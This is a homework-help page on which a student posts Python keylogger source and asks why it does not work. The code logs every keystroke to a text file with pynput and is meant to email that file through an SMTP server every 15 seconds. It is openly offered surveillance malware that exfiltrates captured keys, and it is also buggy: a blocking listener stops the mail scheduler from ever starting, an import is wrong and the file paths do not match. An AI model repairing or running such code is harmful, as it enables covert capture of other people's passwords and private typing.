Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

Hey! I'm working on my python project it's due this week and I've been stuck for a while now - I have made a keylogger

Hey! I'm working on my python project it's due this week and I've been stuck for a while now - I have made a keylogger that stores the keys in a .txt file, I want the .txt file to be sent to my email every 15 seconds. I run it and get nothing, but no erros pop up either. Please help me if you can, I don't know what I'm doing wrong here !

My code is below (I TOOK AWAY MY PASSWORD & EMAIL):

import pynput.keyboard import logging import time import smtplib from apscheduler.schedulers.blocking import BlockingScheduler from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase import email.mime.text from email import encoders log_dir = "C:/Users/erick/Documents/EGentile_Project" logging.basicConfig(filename=(log_dir + "EGentile_Projectlogskey_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with pynput.keyboard.Listener(on_press=on_press) as listener: listener.join() def job(): fromaddr = "THIS WAS MY EMAIL" toaddr = "THIS WAS MY EMAIL" msg = MIMEMultipart() msg['From'] = fromaddr msg['To'] = toaddr msg['Subject'] = "Keylogger Results" body = 'EGentile_Projectlogskey_log.txt' msg.attach(MIMEText(body, 'plain')) filename = "EGentile_Projectlogskey_log.txt" attachment = open("C:/Users/erick/Documents/EGentile_Projectlogskey_log", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload(attachment.read()) encoders.encode_base64(part) part.add_header('Content Disposition', 'attachment, filename= '+filename) msg.attach(part) server = smtplib.SMTP('smtp.gEEmail.com', 587) <-I HAD TO CHANGE THE SPEELING OF GEEMAIL SO IT WOULD LET ME POST THE QUESTION! server.starttls() server.login(fromaddr, 'THIS WAS MY PASSWORD') text = msg.as_string() server.sendmail(fromaddr, toaddr, text) scheduler = BlockingScheduler() scheduler.add_job(job, 'interval', seconds=15) scheduler.start() 

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image

Step: 3

blur-text-image

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Database Administration The Complete Guide To Dba Practices And Procedures

Authors: Craig S. Mullins

2nd Edition

0321822943, 978-0321822949

More Books

Students also viewed these Databases questions